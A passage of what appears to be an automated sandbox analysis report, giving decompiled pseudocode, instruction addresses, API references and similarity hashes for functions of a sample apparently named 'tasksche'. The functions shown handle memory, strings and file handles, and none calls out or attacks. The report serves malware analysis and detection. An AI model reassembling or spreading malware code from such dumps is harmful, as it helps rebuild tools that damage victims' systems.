							asm("sbb edx, edx");
							_t134 =  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9;
							_t97 = _t96 + 0x4024;
							__eflags = _t96 + 0x4024;
							E0040B883(_t139, 0,  *((intOrPtr*)(_t141 + 0x99b4)), _t97,  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9, _t141 + 0x99c9,  *((intOrPtr*)(_t141 + 0x9a04)), _t141 + 0x99e3, _t141 + 0x99da);
							goto L19;
						}
						__eflags =  *(_t141 + 0x997c);
						if(__eflags < 0) {
							L13:
							_t106 =  *(_t147 + 8);
							__eflags = _t106;
							if(_t106 != 0) {
								E00401C1D(_t106,  *((intOrPtr*)(_t141 + 0x9978)));
								E0040B8CE(_t139,  *_t106,  *((intOrPtr*)(_t141 + 0x9978)));
							} else {
								 *((char*)(_t141 + 0x2111)) = 1;
							}
							goto L16;
						}
						if(__eflags > 0) {
							L11:
							_t145 = _t141 + 0x1e;
							__eflags = _t141 + 0x1e;
							E00406376(0x1c, _t145);
							goto L12;
						}
						__eflags =  *((intOrPtr*)(_t141 + 0x9978)) - 0x1000000;
						if( *((intOrPtr*)(_t141 + 0x9978)) <= 0x1000000) {
							goto L13;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x99b1)) - _t75;
					if( *((intOrPtr*)(__ecx + 0x99b1)) != _t75) {
						goto L7;
					}
					goto L6;
				} else {
					E00406376(0x1b, __ecx + 0x1e);
					E004062BA(0x4335ac, 3);
					L27:
					_t69 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
					return _t69;
				}
			}

0x00402c8b
0x00402c90
0x00402c9a
0x00402ca1
0x00402cab
0x00402cc9
0x00402cd0
0x00402f0e
0x00402f0e
0x00402f0e
0x00402f14
0x00000000
0x00402f14
0x00402ce8
0x00402ced
0x00402cef
0x00000000
0x00000000
0x00402cfb
0x00402cfb
0x00402d01
0x00402d12
0x00402d12
0x00402d1a
0x00402d1f
0x00402d26
0x00402d2b
0x00402d3a
0x00402d3d
0x00402d42
0x00402d45
0x00402da8
0x00402da8
0x00402daf
0x00402e04
0x00402e06
0x00402e14
0x00402e28
0x00402e31
0x00402e37
0x00402e3e
0x00402e49
0x00402e4f
0x00402e59
0x00402e5c
0x00402e63
0x00402e69
0x00402e6f
0x00402e75
0x00402e7b
0x00402e82
0x00402e9e
0x00402e84
0x00402e84
0x00402e85
0x00402e86
0x00402e87
0x00402e87
0x00402eac
0x00402ebe
0x00402ec3
0x00402ec5
0x00402efa
0x00402f04
0x00402d0b
0x00402d0b
0x00000000
0x00402ec7
0x00402ed4
0x00402ee0
0x00402ee5
0x00402ee8
0x00402eea
0x00402ef0
0x00402ef0
0x00402d68
0x00402d68
0x00402d72
0x00000000
0x00402d72
0x00402ec5
0x00402db1
0x00402db7
0x00402dbe
0x00000000
0x00000000
0x00402de4
0x00402dec
0x00402def
0x00402def
0x00402dff
0x00000000
0x00402dff
0x00402d47
0x00402d4d
0x00402d7c
0x00402d7c
0x00402d7f
0x00402d81
0x00402d94
0x00402da3
0x00402d83
0x00402d83
0x00402d83
0x00000000
0x00402d81
0x00402d4f
0x00402d5d
0x00402d5d
0x00402d5d
0x00402d63
0x00000000
0x00402d63
0x00402d51
0x00402d5b
0x00000000
0x00000000
0x00000000
0x00402d5b
0x00402d03
0x00402d09
0x00000000
0x00000000
0x00000000
0x00402cad
0x00402cb3
0x00402cbf
0x00402f19
0x00402f19
0x00402f1b
0x00402f21
0x00402f29
0x00402f29

APIs

__EH_prolog.LIBCMT ref: 00402C90

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction ID: d2613427887af626ac15b725df06f6c4975e9b849f4698f9cbfae21a5c634ed1
Opcode Fuzzy Hash: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction Fuzzy Hash: 8E615870505B40AADB34DB39C999BEBB7E4AF51304F00456FF4AB622C2CBBC2944DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040935F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040935F(void* __ebx, void* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _v8;
				char _v4104;
				signed int _t21;
				void* _t25;
				signed int _t26;
				signed int _t34;
				void* _t36;
				signed int _t40;
				signed short* _t45;
				signed short* _t48;
				void* _t49;
				void* _t50;

				E0041AAF0(0x1004);
				_t48 = _a4;
				if(_t48 == 0 ||  *_t48 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_a4 = _a4 & 0x00000000;
					_t36 = 1;
					_t45 = _t48;
					while(1) {
						_t21 = _a4 >> 1;
						_v8 = _t21;
						if(_t21 >= 0x800) {
							break;
						}
						if(E0040A0C5( *_t45 & 0x0000ffff) == 0 || _t45 <= _t48) {
							L9:
							_a4 = _a4 + 2;
							_t45 =  &(_t45[1]);
							if( *_t45 != 0) {
								continue;
							}
							break;
						} else {
							if(_t45 !=  &(_t48[2])) {
								L8:
								_t40 = _v8;
								E0041C853( &_v4104, _t48, _t40);
								_t50 = _t50 + 0xc;
								 *((short*)(_t49 + _t40 * 2 - 0x1004)) = 0;
								_t34 = E004092C9(_t58,  &_v4104, 1, 0);
								asm("sbb bl, bl");
								_t36 =  ~_t34 + 1;
								goto L9;
							}
							_t58 = _t48[1] - 0x3a;
							if(_t48[1] == 0x3a) {
								goto L9;
							}
							goto L8;
						}
					}
					_t61 = _a8;
					if(_a8 == 0) {
						_t25 = E0040A0C5( *(E0040A08A(_t61, _t48)) & 0x0000ffff);
						_t62 = _t25;
						if(_t25 == 0) {
							_t26 = E004092C9(_t62, _t48, 1, 0); // executed
							asm("sbb bl, bl");
							_t36 =  ~_t26 + 1;
						}
					}
					return _t36;
				}
			}

0x00409367
0x0040936d
0x00409372
0x0040942c
0x00000000
0x00409382
0x00409382
0x00409388
0x0040938a
0x0040938c
0x0040938f
0x00409391
0x00409399
0x00000000
0x00000000
0x004093a6
0x004093ef
0x004093ef
0x004093f4
0x004093f9
0x00000000
0x00000000
0x00000000
0x004093ac
0x004093b1
0x004093ba
0x004093ba
0x004093c6
0x004093cb
0x004093d1
0x004093e2
0x004093eb
0x004093ed
0x00000000
0x004093ed
0x004093b3
0x004093b8
0x00000000
0x00000000
0x00000000
0x004093b8
0x004093a6
0x004093fb
0x004093ff
0x0040940b
0x00409410
0x00409412
0x00409419
0x00409422
0x00409424
0x00409424
0x00409412
0x00000000
0x00409429

APIs

_wcsncpy.LIBCMT ref: 004093C6

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction ID: d4505bb1f71f0a7630b1187c5dc073957316d7994076f763c5609016dbc7fb68
Opcode Fuzzy Hash: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction Fuzzy Hash: 1821F9705412146ADF209BA5C8817EF73A8AF09744F104067FD84E71C2E6BC9DC58799

Uniqueness

Uniqueness Score: -1.00%

Function 004071DF Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004071DF(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t21;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t35;
				void* _t43;
				intOrPtr _t45;

				_t28 = __edx;
				E0041A4DC(E004294DA, _t35);
				E00406760(_t35 - 0x1c, 0x40000);
				_t30 =  *((intOrPtr*)(_t35 - 0x1c));
				 *(_t35 - 4) =  *(_t35 - 4) & 0x00000000;
				_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), __edx, _t30,  *((intOrPtr*)(_t35 - 0x18))); // executed
				_t33 = _t17;
				if(_t33 != 0) {
					_push(_t20);
					_t21 =  *((intOrPtr*)(_t35 + 0xc));
					while(_t33 != 0xffffffff) {
						_t43 = 0 -  *((intOrPtr*)(_t35 + 0x10));
						if(_t43 >= 0 && (_t43 > 0 || _t33 >= _t21)) {
							_t33 = _t21;
						}
						E0040BAFE( *((intOrPtr*)(_t35 + 8)), _t28, _t35, _t30, _t33);
						_t45 =  *((intOrPtr*)(_t35 + 0x10));
						if(_t45 >= 0 && (_t45 > 0 || _t21 >= 0)) {
							_t21 = _t21 - _t33;
							asm("sbb dword [ebp+0x10], 0x0");
						}
						_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), _t28, _t30,  *((intOrPtr*)(_t35 - 0x18)));
						_t33 = _t17;
						if(_t33 != 0) {
							continue;
						}
						break;
					}
					_pop(_t20);
				}
				_t48 = _t30;
				if(_t30 != 0) {
					_push(_t30);
					_t17 = E0041A506(_t20, _t30, _t33, _t48);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t35 - 0xc));
				return _t17;
			}

0x004071df
0x004071e4
0x004071f6
0x004071fe
0x00407204
0x00407209
0x0040720e
0x00407212
0x00407214
0x00407215
0x00407218
0x0040721f
0x00407222
0x0040722a
0x0040722a
0x00407231
0x00407236
0x0040723a
0x00407242
0x00407244
0x00407244
0x0040724f
0x00407254
0x00407258
0x00000000
0x00000000
0x00000000
0x00407258
0x0040725a
0x0040725a
0x0040725b
0x0040725d
0x0040725f
0x00407260
0x00407265
0x0040726b
0x00407273

APIs

__EH_prolog.LIBCMT ref: 004071E4

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction ID: 0e7476b061c64c38a033d28293548f621ad6c4fedd1d6d7b32e1dff298444af0
Opcode Fuzzy Hash: d72615110fc3833dc462cb349b7f85338f9682357bb2a541038f14bca1383879
Instruction Fuzzy Hash: F611E336D04216A7CB21AE69D881BAF7774AB84724F00427FF910772C0C77CAD4186AE

Uniqueness

Uniqueness Score: -1.00%

Function 004155EF Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004155EF(void* __ebx, intOrPtr __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				void* _t39;
				intOrPtr _t61;
				void* _t63;

				_t59 = __edi;
				_t42 = __ebx;
				E0041A4DC(E004298B7, _t63);
				_push(__ecx);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *(_t63 - 4) = 0xa;
				E004152CD(__ecx, 0);
				_t26 =  *((intOrPtr*)(__ecx + 0x4b34));
				_t66 = _t26;
				if(_t26 != 0) {
					_push(_t26); // executed
					E0041A506(__ebx, __edi, __ecx, _t66); // executed
				}
				E004111EB(_t61, _t63,  *((intOrPtr*)(_t61 + 0x14)));
				_push( *((intOrPtr*)(_t61 + 0x20)));
				E0041C89D(_t42, _t59, _t61, _t66); // executed
				_t45 =  *((intOrPtr*)(_t61 + 0x18));
				_t67 =  *((intOrPtr*)(_t61 + 0x18));
				if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
					E00413DED(_t45, _t59, _t63, 3);
				}
				E004129EB(_t61 + 0xe6c4);
				E004129EB(_t61 + 0xe6b4);
				E004129EB(_t61 + 0xe6a4);
				 *(_t63 - 4) = 6;
				E00409756(_t61 + 0xe694);
				 *(_t63 - 4) = 5;
				E0040AB1E(_t61 + 0xe65c, _t67);
				E00411FFB(_t61 + 0xe35c);
				E0041252C(_t61 + 0x4b38);
				E004129EB(_t61 + 0x44);
				E004129EB(_t61 + 0x34);
				E004129EB(_t61 + 0x24);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				_t39 = E00409756(_t61 + 4);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

0x004155ef
0x004155ef
0x004155f4
0x004155f9
0x004155fb
0x004155fd
0x00415602
0x00415609
0x0041560e
0x00415614
0x00415616
0x00415618
0x00415619
0x0041561e
0x00415622
0x00415627
0x0041562a
0x00415630
0x00415633
0x00415635
0x00415639
0x00415639
0x00415644
0x0041564f
0x0041565a
0x00415665
0x00415669
0x00415674
0x00415678
0x00415683
0x0041568e
0x00415696
0x0041569e
0x004156a6
0x004156ab
0x004156b2
0x004156bb
0x004156c3

APIs

__EH_prolog.LIBCMT ref: 004155F4

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
Part of subcall function 0041A506: GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFreeH_prologHeapLast___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 2675452811-0
Opcode ID: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction ID: af90cb06349abb904c7e908c808b67ca80216b7905dff4050bf1b7fec03d4104
Opcode Fuzzy Hash: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction Fuzzy Hash: DA117871210740DAC325FF76DA636DBB7B0AF24304F40091EA06B525D2EFB8BA44CA19

Uniqueness

Uniqueness Score: -1.00%

Function 00407150 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407150(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr _t39;
				void* _t41;

				_t44 = __eflags;
				E0041A4DC(E0042968C, _t41);
				_push(__ecx);
				_t39 = __ecx;
				_t25 = __ecx + 0x10;
				 *((intOrPtr*)(_t41 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				E0040B8E3(__ecx + 0x10, __eflags);
				 *(__ecx + 0x444c) =  *(__ecx + 0x444c) & 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				_t35 =  *((intOrPtr*)(_t41 + 8));
				 *((intOrPtr*)(__ecx + 8)) = _t35;
				 *((short*)(__ecx + 0x445c)) = 0;
				 *((short*)(__ecx + 0x545e)) = 0;
				_t21 = E0041A89A(__ecx + 0x10, __edx, _t35, _t44, 0xe6e0, _t33, _t38, _t24);
				 *((intOrPtr*)(_t41 + 8)) = _t21;
				 *((char*)(_t41 - 4)) = 1;
				_t45 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0041768A(_t21, __edx, _t35, _t45, _t25); // executed
				}
				 *((intOrPtr*)(_t39 + 0x4448)) = _t22;
				_t36 =  *((intOrPtr*)(_t35 + 0x7298));
				if(_t36 >= 8) {
					_t36 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x1c)) = _t36;
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t39;
			}

0x00407150
0x00407155
0x0040715a
0x0040715d
0x00407162
0x00407167
0x0040716a
0x0040716c
0x0040716f
0x00407176
0x0040717c
0x0040717f
0x00407187
0x0040718a
0x00407191
0x00407198
0x0040719e
0x004071a1
0x004071a5
0x004071a7
0x004071b3
0x004071b3
0x004071a9
0x004071ac
0x004071ac
0x004071b5
0x004071bb
0x004071c4
0x004071c8
0x004071c8
0x004071cc
0x004071d4
0x004071dc

APIs

__EH_prolog.LIBCMT ref: 00407155

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041768A: __EH_prolog.LIBCMT ref: 0041768F

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction ID: 4fa22713ff1b1cd4263d7298948381a35fc14f9b7bb01a12f51cc5b8ed2a70ee
Opcode Fuzzy Hash: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction Fuzzy Hash: B401ADB2A107009AC7109FAAC44029AF7E9FF94310F00842FE459D3390D7B8A9408B59

Uniqueness

Uniqueness Score: -1.00%

Function 00408E03 Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E03(intOrPtr* __ecx, void* __edx) {
				void* _t19;
				void* _t23;
				void* _t34;
				void* _t38;

				E0041A4DC(E00429705, _t38);
				E0040117B(_t38 - 0x1c, __edx, __ecx);
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *((intOrPtr*)( *__ecx + 0xc))();
				_t19 =  *((intOrPtr*)( *__ecx + 0x10))();
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t38 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t38 - 0x14)),  *((intOrPtr*)(_t38 - 0x10)), 0, 0, 0, 2, _t34, _t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t19;
			}

0x00408e08
0x00408e18
0x00408e1f
0x00408e2b
0x00408e32
0x00408e38
0x00408e4a
0x00408e56
0x00408e5e

APIs

__EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction ID: bd93042bfc1aad2116d0877f42dabf9818625296a81febac24436190ec2c14aa
Opcode Fuzzy Hash: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction Fuzzy Hash: 33F04F35B00214AFD7149F58C889FADB7B5EF48724F208159E912A73D1CB749D008A54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,76EFF370,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(E004295E1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004096BC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096BC(intOrPtr __edx, WCHAR* _a4, intOrPtr _a8) {
				void* _t11;
				intOrPtr _t21;

				_t21 = _a8;
				 *((char*)(_t21 + 0x1044)) = 0;
				if(E0040A0A4(_a4) == 0) {
					_t11 = E00409476(__edx, 0xffffffff, _a4, _t21); // executed
					if(_t11 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t11); // executed
					 *(_t21 + 0x1040) =  *(_t21 + 0x1040) & 0x00000000;
					 *((char*)(_t21 + 0x100c)) = E0040901C( *((intOrPtr*)(_t21 + 0x1008)));
					 *((char*)(_t21 + 0x100d)) = E00409034( *((intOrPtr*)(_t21 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x004096bd
0x004096c5
0x004096d3
0x004096e0
0x004096e8
0x00000000
0x00000000
0x004096ec
0x004096f2
0x00409708
0x00409713
0x00000000
0x0040971b
0x004096d5
0x00000000

APIs

Part of subcall function 0040A0A4: _wcspbrk.LIBCMT ref: 0040A0B5

